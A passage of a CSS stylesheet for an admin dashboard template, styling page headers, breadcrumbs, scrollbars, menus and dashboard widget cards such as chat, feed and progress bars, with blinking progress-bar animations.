30px; } .dash-container .page-header + .row { padding-top: 25px; } .dash-container .page-header + .dash-content { padding-top: 30px; } .minimenu .dash-container { margin-left: 70px; } .minimenu .page-header { left: 70px; } .page-header { display: flex; align-items: center; } .page-header .page-block { width: 100%; } .page-header .page-header-title { display: block; } .page-header h4, .page-header .h4 { margin-bottom: 0; margin-right: 8px; padding-right: 8px; font-weight: 500; } .page-header .breadcrumb { padding: 0; display: inline-flex; margin-bottom: 0; background: transparent; font-size: 13px; } .page-header .breadcrumb a { color: #293240; } .page-header .breadcrumb .breadcrumb-item a:hover { color: #51459d; } .page-header .breadcrumb .breadcrumb-item + .breadcrumb-item::before { position: relative; top: 2px; } .page-header .breadcrumb .breadcrumb-item:last-child { opacity: 0.75; } .page-header .breadcrumb svg { width: 14px; height: 14px; vertical-align: baseline; } .upgrade-card .card-body { padding-bottom: 100px; z-index: 1; position: relative; } .upgrade-card > .container { z-index: 5; position: relative; margin-top: -60px; } .upgrade-card .up-price-table td { border-color: #f8f9fd; } .upgrade-card .up-price-table th { border: none; } .upgrade-card .up-price-table th + th { border-radius: 5px 5px 0 0; padding: 20px 0; } .upgrade-card .up-price-table tbody tr:first-child td { border-top: none; } .upgrade-card .up-price-table td, .upgrade-card .up-price-table th { text-align: right; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table td + th, .upgrade-card .up-price-table th + td, .upgrade-card .up-price-table th + th { text-align: center; } .upgrade-card .up-price-table td + td, .upgrade-card .up-price-table th + td { border-left: 1px solid #f8f9fd; } .dash-footer { position: relative; margin-left: 255px; width: calc(100% - 255px); padding: 10px 30px; top: 70px; margin-bottom: 70px; right: 0; bottom: 0; } .dash-footer .footer-wrapper { display: flex; flex-wrap: wrap; justify-content: space-between; text-align: center; } @media (max-width: 1024px) { .dash-footer { width: 100%; margin-left: 0; } } @media (max-width: 768px) { .dash-footer { text-align: center; } .dash-footer .footer-wrapper { display: block; } } .hamburger { display: inline-block; cursor: pointer; transition: filter 0.15s linear; width: 20px; height: 20px; } .hamburger.is-active .hamburger-inner { background-color: #000; } .hamburger.is-active .hamburger-inner::after, .hamburger.is-active .hamburger-inner::before { background-color: #000; } .hamburger-inner { display: block; top: 50%; margin-top: -2px; width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { width: 18px; height: 2px; background-color: #525b69; border-radius: 4px; position: absolute; transition: transform 0.15s ease; } .hamburger-inner::after, .hamburger-inner::before { content: ""; display: block; } .hamburger-inner::before { top: -6px; } .hamburger-inner::after { bottom: -6px; } .hamburger--arrowturn.is-active .hamburger-inner { transform: rotate(-180deg); } .hamburger--arrowturn.is-active .hamburger-inner::before { transform: translate3d(4px, 2px, 0) rotate(45deg) scale(0.7, 1); } .hamburger--arrowturn.is-active .hamburger-inner::after { transform: translate3d(4px, -2px, 0) rotate(-45deg) scale(0.7, 1); } @media (max-width: 1024px) { .dash-container { margin-left: 0; } .dash-container .page-header + .row, .dash-container .page-header + .dash-content, .dash-container .dash-content { padding-top: 30px; } .page-header { position: relative; left: 0; top: 0; } .minimenu .page-header { left: 0; } .minimenu .dash-container { margin-left: 0; } } @media (max-width: 575.98px) { .dash-container .dash-content { padding: 20px; } .dash-container .container { padding-left: 0; padding-right: 0; } .page-header { padding: 13px 20px; } .page-header h5, .page-header .h5 { padding-bottom: 5px; margin-bottom: 0; border-right: none; font-size: 14px; } .page-header .breadcrumb { display: flex; margin-bottom: 0; font-size: 11px; } .page-header .text-md-right { margin-top: 5px; } } [data-simplebar] { position: relative; flex-direction: column; flex-wrap: wrap; justify-content: flex-start; align-content: flex-start; align-items: flex-start; } .simplebar-wrapper { overflow: hidden; width: inherit; height: inherit; max-width: inherit; max-height: inherit; } .simplebar-mask { direction: inherit; position: absolute; overflow: hidden; padding: 0; margin: 0; left: 0; top: 0; bottom: 0; right: 0; width: auto !important; height: auto !important; z-index: 0; } .simplebar-offset { direction: inherit !important; box-sizing: inherit !important; resize: none !important; position: absolute; top: 0; left: 0; bottom: 0; right: 0; padding: 0; margin: 0; -webkit-overflow-scrolling: touch; } .simplebar-content-wrapper { direction: inherit; box-sizing: border-box !important; position: relative; display: block; height: 100%; /* Required for horizontal native scrollbar to not appear if parent is taller than natural height */ width: auto; max-width: 100%; /* Not required for horizontal scroll to trigger */ max-height: 100%; /* Needed for vertical scroll to trigger */ scrollbar-width: none; -ms-overflow-style: none; } .simplebar-content-wrapper::-webkit-scrollbar, .simplebar-hide-scrollbar::-webkit-scrollbar { width: 0; height: 0; } .simplebar-content:before, .simplebar-content:after { content: ' '; display: table; } .simplebar-placeholder { max-height: 100%; max-width: 100%; width: 100%; pointer-events: none; } .simplebar-height-auto-observer-wrapper { box-sizing: inherit !important; height: 100%; width: 100%; max-width: 1px; position: relative; float: left; max-height: 1px; overflow: hidden; z-index: -1; padding: 0; margin: 0; pointer-events: none; flex-grow: inherit; flex-shrink: 0; flex-basis: 0; } .simplebar-height-auto-observer { box-sizing: inherit; display: block; opacity: 0; position: absolute; top: 0; left: 0; height: 1000%; width: 1000%; min-height: 1px; min-width: 1px; overflow: hidden; pointer-events: none; z-index: -1; } .simplebar-track { z-index: 1; position: absolute; right: 0; bottom: 0; pointer-events: none; overflow: hidden; } [data-simplebar].simplebar-dragging .simplebar-content { pointer-events: none; -moz-user-select: none; user-select: none; -webkit-user-select: none; } [data-simplebar].simplebar-dragging .simplebar-track { pointer-events: all; } .simplebar-scrollbar { position: absolute; left: 0; right: 0; min-height: 10px; } .simplebar-scrollbar:before { position: absolute; content: ''; background: #95a4e1; border-radius: 7px; left: 2px; right: 2px; opacity: 0; transition: opacity 0.2s linear; } .simplebar-scrollbar.simplebar-visible:before { /* When hovered, remove all transitions from drag handle */ opacity: 0.5; transition: opacity 0s linear; } .simplebar-track.simplebar-vertical { top: 0; width: 11px; } .simplebar-track.simplebar-vertical .simplebar-scrollbar:before { top: 2px; bottom: 2px; } .simplebar-track.simplebar-horizontal { left: 0; height: 11px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar:before { height: 100%; left: 2px; right: 2px; } .simplebar-track.simplebar-horizontal .simplebar-scrollbar { right: auto; left: 0; top: 2px; height: 7px; min-height: 0; min-width: 10px; width: auto; } /* Rtl support */ [data-simplebar-direction='rtl'] .simplebar-track.simplebar-vertical { right: auto; left: 0; } .hs-dummy-scrollbar-size { direction: rtl; position: fixed; opacity: 0; visibility: hidden; height: 500px; width: 500px; overflow-y: hidden; overflow-x: scroll; } .simplebar-hide-scrollbar { position: fixed; left: 0; visibility: hidden; overflow-y: scroll; scrollbar-width: none; -ms-overflow-style: none; } .navbar-content { position: relative; } .ps__rail-y { z-index: 5; } .ps .ps__rail-x.ps--clicking, .ps .ps__rail-x:focus, .ps .ps__rail-x:hover, .ps .ps__rail-y.ps--clicking, .ps .ps__rail-y:focus, .ps .ps__rail-y:hover { background: transparent; } .ps__thumb-y { background: #95a4e1; } .ps__rail-y.ps--clicking .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y:hover > .ps__thumb-y { background: #a9b5e6; } .mrr-card { position: relative; } .mrr-card .bottom-chart { bottom: 0; } .widget-last-task .img-radius { margin-right: 10px; margin-bottom: 5px; } .widget-last-task span.float-right { font-size: 11px; } .client-map img { vertical-align: top; width: 90px; } .client-map .client-detail { margin-bottom: 20px; } .client-map .client-detail img { border-radius: 5px; } .client-map .client-profile { float: left; } .client-map .client-contain { display: inline-block; margin-left: 20px; } .client-map .client-contain h5, .client-map .client-contain .h5 { display: block; text-transform: capitalize; font-weight: 600; font-size: 18px; padding-bottom: 10px; } .client-map .client-card-box { border: 1px solid #f1f1f1; border-radius: 5px; } .client-map .client-card-box .client-border { border-right: 1px solid #f1f1f1; } .client-map .client-card-box .client-border-card { border-top: 1px solid #f1f1f1; } .marketing-card .table thead th { border-bottom: none; border-top: none; } .marketing-card .table tbody tr:first-child td { border-top: none; } .marketing-card .table tbody .marketing-header { background-color: rgba(248, 249, 253, 0.5); } .marketing-card .table tbody td { vertical-align: middle; } .marketing-card .table tbody td p { margin-bottom: 0; display: inline-block; } .marketing-card .table tbody td .table-contain { display: inline-block; margin-left: 10px; } .marketing-card .table tbody td span { font-weight: 600; } .marketing-card .table tbody td h6, .marketing-card .table tbody td .h6 { margin-bottom: 0; font-size: 0.9rem; font-weight: 600; line-height: 1.5; } .marketing-card .table tbody td .dropdown-toggle { background-color: transparent; border: none; box-shadow: none; padding: 0; } .marketing-card .table tbody td .dropdown-toggle i { margin-right: 0; } .marketing-card .table tbody td .dropdown-toggle:after { display: none; } .marketing-card .table tbody td .social-icon { width: 40px; height: 40px; border-radius: 50%; color: #fff; font-size: 20px; top: -10px; position: relative; display: inline-flex; align-items: center; justify-content: center; } .marketing-card .table tbody td .btn-action { position: relative; padding: 6px 18px 6px 32px; } .marketing-card .table tbody td .btn-action:after { content: ""; position: absolute; border-radius: 50%; width: 10px; height: 10px; left: 12px; top: 10px; } .marketing-card .table tbody td .btn-action.btn-bg-primary:after { background-color: #51459d; } .marketing-card .table tbody td .btn-action.btn-bg-danger:after { background-color: #ff3a6e; } .marketing-card .table tbody td .btn-action.btn-bg-success:after { background-color: #6fd943; } .marketing-card .table tbody td .btn-action.btn-bg-warning:after { background-color: #ffa21d; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .table tbody td .btn-action.btn-bg-info:after { background-color: #3ec9d6; } .marketing-card .marketing-card-footer .tab-cont > p { display: inline-block; vertical-align: middle; margin-left: 10px; font-weight: 600; margin-top: -8px; } .marketing-card .marketing-card-footer .tab-cont > p i { font-size: 20px; margin: 0 5px; } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 40px; height: 40px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 9px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .new-cust-card img { width: 40px; } .new-cust-card h6, .new-cust-card .h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #6fd943; } .review-card .review-block .cust-img { width: 50px; height: 50px; } .review-card .review-block > div { padding-top: 25px; padding-bottom: 25px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .review-card .review-block > div:hover { background-color: rgba(81, 69, 157, 0.1); } .latest-activity-card .card-body { padding-top: 0; } .latest-activity-card .card-body .latest-update-box { position: relative; } .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 170px; } .latest-activity-card .card-body .latest-update-box .update-meta .update-icon { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 12px 13px; font-size: 16px; color: #fff; margin-left: 10px; } @media only screen and (max-width: 575px) { .latest-activity-card .card-body .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .task-card .task-list { position: relative; } .task-card .task-list:after { content: ""; position: absolute; background: #f1f1f1; height: 100%; width: 2px; top: 0; left: 10px; z-index: 1; } .task-card .task-list:before { content: ""; position: absolute; background: #f1f1f1; height: 15px; width: 15px; bottom: -14px; left: 3px; z-index: 2; border-radius: 50%; } .task-card .task-list li { margin-bottom: 30px; padding-left: 30px; position: relative; } .task-card .task-list li .task-icon { position: absolute; left: 3px; top: 1px; border-radius: 50%; padding: 2px; color: #fff; min-width: 15px; min-height: 15px; z-index: 2; } .latest-posts-card a { transition: all 0.3s ease-in-out; } .latest-posts-card a:hover h6, .latest-posts-card a:hover .h6 { color: #51459d; } .latest-posts-card a ~ p { font-size: 11px; } .latest-posts-card .latest-posts-img { width: 90px; height: 80px; } .latest-update-card .card-body { padding-top: 0; } .latest-update-card .card-body .latest-update-box { position: relative; } .latest-update-card .card-body .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 82px; z-index: 1; } .latest-update-card .card-body .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-body .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; background: #fff; } .latest-update-card .card-body .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 4px; } .latest-update-card .card-body .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: #aba4d7; border-radius: 0 5px 5px 5px; } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: #aba4d7; } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: #51459d; color: #fff; border-radius: 5px 0 5px 5px; } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: #51459d; } .user-Messages-card .text-time { font-size: 11px; } .user-Messages-card .u-img { position: relative; } .user-Messages-card .u-img .profile-img { width: 40px; height: 40px; } .user-Messages-card .u-img .tot-msg { width: 15px; height: 15px; position: absolute; bottom: 0; right: -5px; background-color: #ff3a6e; color: #fff; font-size: 10px; border-radius: 50%; text-align: center; } .user-activity-card .u-img { position: relative; } .user-activity-card .u-img .cover-img { width: 40px; height: 40px; } .user-activity-card .u-img .profile-img { width: 20px; height: 20px; position: absolute; bottom: 0; right: -5px; } .product-progress-card .progress { height: 6px; } .product-progress-card .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; } .product-progress-card .pp-cont:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } @media only screen and (max-width: 991px) { .product-progress-card .pp-cont { padding: 15px 0; } .product-progress-card .pp-cont:after { display: none; } } .product-progress-card .pp-main > div:first-child > .pp-cont:after { display: none; } .social-res-card .progress { height: 6px; border-radius: 4px; } .social-res-card .progress .progress-bar { border-radius: 4px; } .analytic-card .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; } .ticket-card .lbl-card { border-radius: 50px; padding: 5px 15px; display: inline-block; } .proj-t-card { position: relative; overflow: hidden; } .proj-t-card .pt-badge { margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; } .proj-progress-card .progress { height: 6px; overflow: visible; margin-bottom: 10px; } @media only screen and (max-width: 992px) { .proj-progress-card h6, .proj-progress-card .h6 { margin-top: 15px; } .proj-progress-card .progress { margin-bottom: 20px; } } .prod-p-card i { width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 29px; } .comp-card i { width: 50px; height: 50px; border-radius: 50%; text-align: center; padding: 17px 0; font-size: 18px; } .social-widget-card { border-top: none; color: #fff; } .social-widget-card:hover i { opacity: 1; transform: scale(1.1); } .social-widget-card i { position: absolute; right: 10px; bottom: 10px; font-size: 48px; opacity: 0.4; transition: all ease-in 0.3s; } .widget-primary-card.flat-card, .flat-card.widget-purple-card { border-top: none; background-color: #51459d; color: #fff; } .widget-primary-card.flat-card h4, .flat-card.widget-purple-card h4, .widget-primary-card.flat-card .h4, .flat-card.widget-purple-card .h4, .widget-primary-card.flat-card h6, .flat-card.widget-purple-card h6, .widget-primary-card.flat-card .h6, .flat-card.widget-purple-card .h6 { color: #fff; } .widget-primary-card.flat-card .row-table:first-child, .flat-card.widget-purple-card .row-table:first-child { border-bottom: none; } .widget-primary-card.flat-card .row-table > [class*="col-"], .flat-card.widget-purple-card .row-table > [class*="col-"] { border-bottom: none; display: inline-block; vertical-align: middle; } .widget-primary-card.flat-card .row-table > [class*="col-"]:first-child, .flat-card.widget-purple-card .row-table > [class*="col-"]:first-child { background-color: darkslateblue; text-align: center; } .widget-primary-card.flat-card .row-table > [class*="col-"] .row, .flat-card.widget-purple-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .widget-purple-card.flat-card { background-color: #6fd943; } .widget-purple-card.flat-card .row-table:first-child { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"] { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"]:first-child { background-color: #5fd52e; } .flat-card .row-table { display: table; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .flat-card .row-table .br { border-right: 1px solid #f1f1f1; } .flat-card .row-table i { font-size: 30px; } .flat-card .row-table span { text-transform: uppercase; font-size: 12px; } .flat-card .row-table h5, .flat-card .row-table .h5 { display: block; margin-bottom: 0.3em; margin-right: 0; } .flat-card .row-table > [class*="col-"] { display: inline-block; float: none; table-layout: fixed; vertical-align: middle; width: calc(100% / 3); } .flat-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } @media (max-width: 575.98px) { .flat-card .row-table { display: block; } .flat-card .row-table > [class*="col-"] { display: inline-block; width: calc(50% - 2px) !important; border-bottom: 1px solid #f1f1f1; } } .flat-card[class*="widget-"] .row-table { display: flex; } .balance-card .progress { width: 100%; height: 8px; background-color: #f8f9fd; border-radius: 30px; } .balance-card .progress .progress-bar { border-radius: 30px; } .card-progress .progress { height: 8px; width: 100%; position: relative; top: 8px; left: 0; border-radius: 0; overflow: inherit; } .feed-card h6, .feed-card .h6 { margin-top: 7px; font-size: 14px; transition: all 0.3s ease-in-out; } .feed-card h6 > span, .feed-card .h6 > span { font-size: 11px; } .feed-card h6:hover, .feed-card .h6:hover { color: #51459d; } .feed-card .feed-icon { border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .feed-card .card-body { position: relative; padding-left: 25px; } .feed-card .card-body.p-t-0.p-b-0 { padding-left: 12px; } .feed-card .card-body .border-feed { border-top-left-radius: 5px; border-bottom-left-radius: 5px; transition: all 0.3s ease-in-out; position: relative; } .feed-card .card-body .border-feed i { position: absolute; top: calc(50% - 20px); left: 0; right: 0; text-align: center; color: #fff; transition: all 0.3s ease-in-out; } .feed-card .card-body .border-feed i.material-icons-two-tone { background-color: #fff; } .feed-card:hover .border-feed.bg-primary { background-color: rgba(81, 69, 157, 0.3) !important; } .feed-card:hover .border-feed.bg-primary i { color: #51459d; } .feed-card:hover .border-feed.bg-primary i.material-icons-two-tone { background-color: #51459d; } .feed-card:hover .border-feed.bg-danger { background-color: rgba(255, 58, 110, 0.3) !important; } .feed-card:hover .border-feed.bg-danger i { color: #ff3a6e; } .feed-card:hover .border-feed.bg-danger i.material-icons-two-tone { background-color: #ff3a6e; } .feed-card:hover .border-feed.bg-success { background-color: rgba(111, 217, 67, 0.3) !important; } .feed-card:hover .border-feed.bg-success i { color: #6fd943; } .feed-card:hover .border-feed.bg-success i.material-icons-two-tone { background-color: #6fd943; } .feed-card:hover .border-feed.bg-warning { background-color: rgba(255, 162, 29, 0.3) !important; } .feed-card:hover .border-feed.bg-warning i { color: #ffa21d; } .feed-card:hover .border-feed.bg-warning i.material-icons-two-tone { background-color: #ffa21d; } .total-request-card .progress { width: 85%; float: left; height: 5px; text-align: center; margin: 0 auto; background-color: #f8f9fd; border-radius: 30px; } .total-request-card .progress .progress-bar { border-radius: 30px; } .total-request-card hr { width: 50px; border-top: 1px solid #f1f1f1; margin-top: 20px; margin-bottom: 20px; } .total-request-card i { position: relative; top: 5px; } .widget-statstic-card { position: relative; overflow: hidden; } .widget-statstic-card .st-icon { color: #fff; padding: 40px 40px 20px 20px; border-radius: 50%; position: absolute; top: -30px; right: -30px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .widget-statstic-card .st-icon > svg { transition: all 0.3s ease-in-out; width: 23px; height: 23px; } .widget-statstic-card h2, .widget-statstic-card .h2 { font-weight: 600; display: inline-block; } .widget-statstic-card span { border-radius: 30px; padding: 5px 20px; color: #fff; font-weight: 600; } .widget-statstic-card:hover .st-icon > svg { width: 50px; height: 50px; } .order-card { color: #fff; overflow: hidden; } .order-card .card-icon { position: absolute; right: -17px; top: 20px; font-size: 100px; opacity: 0.5; } .order-card .card-icon > svg { width: 100px; height: 100px; } .statustic-card .card-body { position: relative; } .statustic-card .card-body .progress { position: absolute; bottom: 0; width: 100%; left: 0; height: 5px; overflow: visible; } .statustic-card .card-body .progress .progress-bar { position: relative; overflow: visible; box-shadow: none; } .statustic-card .card-body .progress .progress-bar:before { content: ""; height: 5px; width: 5px; border-radius: 50%; position: absolute; right: 0; background: inherit; } .statustic-card .card-body .progress .progress-bar.bg-primary:before { animation: blue-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-success:before { animation: green-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-danger:before { animation: red-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-warning:before { animation: yellow-blink-bar 0.5s linear infinite; } @keyframes blue-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(81, 69, 157, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(81, 69, 157, 0.3); } } @keyframes green-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(111, 217, 67, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(111, 217, 67, 0.3); } } @keyframes red-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 58, 110, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 58, 110, 0.3); } } @keyframes yellow-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 162, 29, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 162, 29, 0.3); } } .social-card { color: #fff; overflow: hidden; } .social-card .social-icon { background-color: #fff; border-radius: 5px; text-align: center; padding: 22px 23px; } .social-card .download-icon { color: #fff; background-color: rgba(255, 255, 255, 0.5); position: absolute; height: 125px; width: 125px; right: -125px; padding: 47px 22px; border-radius: 50%; transition: all 0.3s ease-in-out; } .social-card .download-icon > svg { width: 35px; height: 35px; } .social-card:hover .download-icon { right: -60px; } .order-visitor-card { cursor: pointer; } .order-visitor-card:hover { background-color: #51459d; } .order-visitor-card:hover h4, .order-visitor-card:hover .h4, .order-visitor-card:hover h6, .order-visitor-card:hover .h6, .order-visitor-card:hover p { color: #fff; } .widget-visitor-card { overflow: hidden; padding: 10px 0; } .widget-visitor-card i, .widget-visitor-card svg { font-size: 80px; color: #fff; width: 80px; height: 80px; position: absolute; bottom: -10px; opacity: 0.3; left: -10px; transform: rotate(15deg); transition: all 0.3s ease-in-out; } .widget-visitor-card:hover svg { transform: rotate(0deg) scale(1.4); opacity: 0.5; } .app-design .btn { padding: 5px 8px; font-size: 12px; font-weight: 600; border-radius: 5px; } .app-design .team-section img { width: 35px; border-radius: 5px; } .app-design .progress-box p { margin-bottom: 0; } .app-design .progress-box .progress { width: calc(100% - 80px); height: 8px; text-align: center; margin: 0 auto; background-color: #e5e5e5; border-radius: 30px; position: relative; overflow: inherit; } .app-design .progress-box .progress .progress-bar { border-radius: 30px; } .app-design .progress-box .progress .progress-bar label { position: absolute; top: -24px; right: 0; font-weight: 600; font-size: 13px; } .user-card-full { overflow: hidden; } .user-card-full .user-profile-side { border-radius: 5px 0 0 5px; } .user-card-full .social-link li { display: inline-block; } .user-card-full .social-link li a { color: #293240; margin: 0 10px 0 0; transition: all 0.3s ease-in-out; } .user-card-full .social-link li a svg { width: 20px; height: 20px; } .img-radius { border-radius: 50%; } .quater-card .progress { height: 4px; } .statustic-progress-card .progress { height: 5px; } .trafic-card .progress { height: 7px; } .trafic-card .progress.blue { background-color: rgba(81, 69, 157, 0.5); } .trafic-card .progress.green { background-color: rgba(111, 217, 67, 0.5); } .trafic-card .progress.red { background-color: rgba(255, 58, 110, 0.5); } .trafic-card .progress.purple { background-color: rgba(62, 201, 214, 0.5); } .trafic-card .progress.yellow { background-color: rgba(255, 162, 29, 0.5); } .total-card { overflow: hidden; } .total-card .text-start h4, .total-card .text-start .h4 { color: #fff; font-weight: 400; margin-bottom: 5px; } .total-card .text-start p { color: #fff; font-size: 15px; } .table-card .row-table { display: flex; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .table-card .row-table svg { margin: 0 20px; } .table-card .row-table > [class*="col-"] { display: table-cell; float: none; table-layout: fixed; vertical-align: middle; } .table-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .rides-bar .rides-icon { background: #51459d; border-radius: 50px; padding: 15px; } .visitor .img-female { position: absolute; left: 10px; bottom: 0; } .visitor .img-men { position: absolute; right: 10px; bottom: 0; } .profit-bar .mon-icon { padding: 20px; border-radius: 50px; display: inline-block; float: right; } .profit-bar .mon-icon svg { width: 25px; height: 25px; } .user-card .label { border-radius: 15px; padding: 5px 10px; margin-right: 10px; margin-bottom: 0; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .leads-progress .progress, .progress-gender .progress { justify-content: center; height: 10px; border-radius: 0; } .Active-visitor .progress { height: 7px; } .Active-visitor .card-active > div + div { border-left: 1px solid #f1f1f1; } @media screen and (max-width: 767px) { .Active-visitor .card-active [class*="col-"]:last-child { border-left: 0; margin-top: 20px; } } .card-Revenue .rev-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .invoice-lable label { background: #fff; border-radius: 15px; padding: 4px 20px; } .Invoice-bar .inv-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .progress { background: rgba(255, 255, 255, 0.22); border-radius: 0; height: 7px; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .location-sale .card-icon { width: 70px; height: 70px; background: #fff; border-radius: 50%; position: absolute; top: -20px; text-align: center; right: 0; left: 0; margin: 0 auto; display: flex; justify-content: center; align-items: center; } @media screen and (max-width: 768px) { .location-sale .card-icon { display: none; } } .card-Impression .imp-icon { width: 52px; height: 52px; border-radius: 5px; text-align: center; display: flex; justify-content: center; align-items: center; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .card-customer .hct-icon { width: 70px; height: 70px; justify-content: center; align-items: center; display: flex; border-radius: 5px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } @media screen and (max-width: 375px) { .card-customer .hct-icon { width: 80px; height: 80px; font-size: 50px; } } .ticket-customer .tick-icon { position: absolute; opacity: 0.2; right: 32px; bottom: 30px; } .customer-visitor .vis-icon { opacity: 0.2; width: 120px; height: 120px; position: absolute; bottom: 0; left: 0; } .card-social:hover i { font-size: 40px; transition: all 0.3s ease-in-out; } .card-social .progress { height: 6px; } .card-social .card-active > div + div { border-left: 1px solid #f1f1f1; } .Online-Order .progress, .statistial-visit .progress { height: 6px; } .affilate-offers .card-icon { opacity: 0.5; } .affilate-offers .label { border-radius: 15px; margin: 0; padding: 8px 18px; } .team-leader .slide li { width: 10px; height: 10px; background-color: #dcdaeb; margin: 0 6px; border-radius: 50px; } .team-leader .slide .carousel-indicators { margin-bottom: -10px; margin-top: 10px; } .team-leader .slide .carousel-indicators .active { background-color: #51459d; } .earning-date .bd-example { padding: 0; margin: 0; border: 0; } .earning-date .bd-example .nav-pills { background: transparent; padding: 0; box-shadow: none; } .earning-date .bd-example .nav-pills .nav-link { min-width: auto; padding: 6px 20px; color: #fff; } .earning-date .bd-example .nav-pills .nav-link.active { position: relative; background: #fff; box-shadow: none; color: #51459d; } .earning-date .bd-example .nav-pills .nav-link.active:after { content: ""; position: absolute; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid #fff; top: -5px; left: 0; right: 0; margin: 0 auto; width: 11px; } .earning-date .bd-example .tab-content { background: transparent; padding: 0; box-shadow: none; } .sale-view .sale-icon { width: 60px; height: 60px; border-radius: 50%; display: flex; justify-content: center; align-items: center; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-task svg { opacity: 0.5; } .project-task .label { border-radius: 15px; margin: 0; padding: 6px 16px; } .project-task .progress { height: 6px; } .summary-box .card-icon { opacity: 0.4; } .card-event .label { border-radius: 15px; margin: 0; padding: 5px 16px; } .card-event svg { position: absolute; bottom: 20px; right: 25px; } .statistial-visit .label { padding: 4px 10px; border-radius: 40px; } .Design-sprint .design-image, .dashboard-kit .design-image { padding: 0; margin: 30px 0 0; list-style: none; } .Design-sprint li, .dashboard-kit li { display: inline-block; text-align: center; margin-right: 3px; } .Design-sprint .btn, .dashboard-kit .btn { border-radius: 50px; border: 0; width: 40px; height: 40px; padding: 0; margin: 0; } .Design-sprint i, .dashboard-kit i { opacity: 0.3; } .post-emoticon ul { padding: 0; margin: 25px 0 0; list-style: none; } .post-emoticon li { display: inline-block; } .ux-designer { position: relative; padding: 35px 30px; } .ux-designer .btn { border-radius: 50px; border: 0; width: 50px; height: 50px; position: absolute; right: 20px; top: -20px; padding: 0; margin: 0; } .visa-top .visa img { position: absolute; left: 0; right: 0; bottom: 0; } .loction-user .row { padding: 35px 30px; } .loction-user svg { opacity: 0.5; } .loction-user .loction-progress { padding: 35px 30px; } .loction-user .loction-progress .progress { justify-content: center; height: 10px; border-radius: 0; } .task-list { list-style: none; position: relative; margin: 0; padding: 30px 0 0; } .task-list:after { content: ""; position: absolute; background: #ecedef; height: 100%; width: 